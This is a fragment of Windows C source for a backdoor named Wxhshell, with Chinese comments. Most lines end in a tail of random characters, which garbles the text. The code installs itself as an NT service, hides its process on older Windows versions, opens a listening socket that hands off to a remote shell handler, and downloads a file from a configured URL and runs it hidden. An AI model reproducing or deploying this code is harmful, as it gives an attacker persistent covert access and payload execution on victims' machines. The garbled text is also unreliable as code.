DWORD PebBaseAddress; d?{2A84S
DWORD AffinityMask; '\_)\`a|
DWORD BasePriority; nVM`&azD
ULONG UniqueProcessId; }E1Eq
ULONG InheritedFromUniqueProcessId; 50R+D0^mh
} PROCESS_BASIC_INFORMATION; e5XikLu
[&`>&u@MK
PROCNTQSIP NtQueryInformationProcess; =:0(&NCRq
11-uJVO~*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sNZPv^c
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pF !vW
*{Z!m@?
HANDLE hProcess; Y
zvtxX*
PROCESS_BASIC_INFORMATION pbi; <1LuYEDq
qnm9Lw#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3}gK`1Nq1
if(NULL == hInst ) return 0; 2mT+@G
~w*ojI
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ``z="oD
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0,3 ':Df
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dk]ro~ [
Lul?@>T
if (!NtQueryInformationProcess) return 0; VN".NEL
^}[
N4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); , XR8qi~
if(!hProcess) return 0; P4AdfHk
$ta#]>{
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p}!pT/KmpH
R 1 b`(
CloseHandle(hProcess); Z"^@B2v
enrmjA&3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YOoP]0'L
if(hProcess==NULL) return 0; 1M{#"t{6
sI'HS+~pU
HMODULE hMod; 3gh^a;uC
char procName[255]; OlJj|?z$
unsigned long cbNeeded; ]a%Kn]HI&2
N~kYT\$b#
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;$/G T
u'b_zlW@
CloseHandle(hProcess); +~v(*s C
%jf gncW
if(strstr(procName,"services")) return 1; // 以服务启动 dEp=;b s
hzH5K
return 0; // 注册表启动 O:x%!-w
} PWU#`>4
n 3]y$wK
// 主模块 Ol@ZH_
int StartWxhshell(LPSTR lpCmdLine) U
Oo(7
{ gA|j\T{c
SOCKET wsl; 1GdgF?4
BOOL val=TRUE; ,'6GG+
int port=0; q'r3a+
struct sockaddr_in door; K\ ]r
K7Vr$,p
if(wscfg.ws_autoins) Install(); LN^8U
0A9cu,ZdUR
port=atoi(lpCmdLine); ~e8n yB
jdp:G
if(port<=0) port=wscfg.ws_port; w6Q]?p+
u5ygbCm
WSADATA data; ~k(Ez pn#
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iy"Kg]
'W*F[U*&HP
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; rY= #^S
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 463dLEd
door.sin_family = AF_INET; }{y$$X<:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); BSf"'0I&
door.sin_port = htons(port); [ub\DLl
\nWpV7TSN
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p'4P2
closesocket(wsl); A&'%ou
return 1; M2S|$6t:
} yw<xv-Q=i
D=vq<X'
if(listen(wsl,2) == INVALID_SOCKET) { 2cl~Va=
closesocket(wsl); wp*1HnWj8Y
return 1; ( -@>
} 6hq)yUvo4
Wxhshell(wsl); ;p ('cwU%
WSACleanup(); +bnw,B><
AlxS?f2w
return 0; OEW,[d
H/&Q,9sU21
} nE;gM1I
?OyW|jL
// 以NT服务方式启动 (c2\:hvy
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
3lN+fQ>)S
{ cg%CYV)
DWORD status = 0; WU\bJ}
DWORD specificError = 0xfffffff; W|e>
($W 5fbu
serviceStatus.dwServiceType = SERVICE_WIN32; gEsR-A!m
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /f<(K-o]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i#=X#_
+El
serviceStatus.dwWin32ExitCode = 0; @k,(i=**
serviceStatus.dwServiceSpecificExitCode = 0; 7p$*/5fk
serviceStatus.dwCheckPoint = 0; #O+]ydvT
serviceStatus.dwWaitHint = 0; #^ #i]{g
ZB&Uhi
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rp*t"HSaAW
if (hServiceStatusHandle==0) return; ^nF$<#a
jYz3(mM'J
status = GetLastError(); )}!'VIe^!
if (status!=NO_ERROR) eb\`)MI/
{ uek3Y[n
serviceStatus.dwCurrentState = SERVICE_STOPPED; G |^X:+
serviceStatus.dwCheckPoint = 0; +GU16+w~E
serviceStatus.dwWaitHint = 0; \k_3IP?o=
serviceStatus.dwWin32ExitCode = status; !ei20@
serviceStatus.dwServiceSpecificExitCode = specificError; fZfiiE~7J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M3 u8NRd5|
return; %U7f9
} 4/WCs$
QB,ad
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;hJ*u
serviceStatus.dwCheckPoint = 0; 8-ssiiJ}gh
serviceStatus.dwWaitHint = 0; *XOKH+_u
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MlE~gCD
} h';v'"DoW`
EIQy?ig86
// 处理NT服务事件,比如:启动、停止 nn:pf1
VOID WINAPI NTServiceHandler(DWORD fdwControl) dRa<,@1"
{ gDNW~?/
switch(fdwControl) 1I_q3 {
{ s[4!R&b
case SERVICE_CONTROL_STOP: 63Yu05'
serviceStatus.dwWin32ExitCode = 0; qXGLv4c`Q
serviceStatus.dwCurrentState = SERVICE_STOPPED; nF$)F?||
serviceStatus.dwCheckPoint = 0; ~|C1$.-
serviceStatus.dwWaitHint = 0; {~g
{ ,z)NKt#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ss8v4@C
} #!,`EU
return; 86F+N_>Z
case SERVICE_CONTROL_PAUSE: 12xP)*:$
serviceStatus.dwCurrentState = SERVICE_PAUSED; >8O=^7
break; Bqlc+d:
case SERVICE_CONTROL_CONTINUE: \Pmk`^T
serviceStatus.dwCurrentState = SERVICE_RUNNING; _Pi:TxY
break; N|2
case SERVICE_CONTROL_INTERROGATE: B1#>$"_0}=
break; (1j$*?iGA
}; L"6/"L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ _Bu,;
} /
i2-h
u>6/_^iq
// 标准应用程序主函数 WCT W#<izm
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `Kw8rG\]:
{ RmV/wY
B^~Bv!tHWr
// 获取操作系统版本 _hL4@C
OsIsNt=GetOsVer(); gr{Sh`Cm-
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3|r!*+.
pY>-N
// 从命令行安装 G0Tc}_o<Y
if(strpbrk(lpCmdLine,"iI")) Install(); :vyf-K74M
0a6z"K}
// 下载执行文件 G$9|aaf`1#
if(wscfg.ws_downexe) { Z*)Y:tk)b
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W<]Oo ]
WinExec(wscfg.ws_filenam,SW_HIDE); T8TsKjqOZ
} :gaeb8`t
|Umfq:W`y_
if(!OsIsNt) { hcc-J)=m
// 如果时win9x,隐藏进程并且设置为注册表启动 N/{Yi
_n
HideProc(); dS_)ll.6z
StartWxhshell(lpCmdLine); k:)u7A+
} LEnP"o9ZW
else 7h&`BS
if(StartFromService()) =1OAy`8
// 以服务方式启动 OrJlHMz
StartServiceCtrlDispatcher(DispatchTable); _m?(O /BTx
else tF g'RV{
// 普通方式启动 B5H&DqWzr
StartWxhshell(lpCmdLine); )u/
^aK53^
AaC1||?R
return 0; NV(4wlh)y
}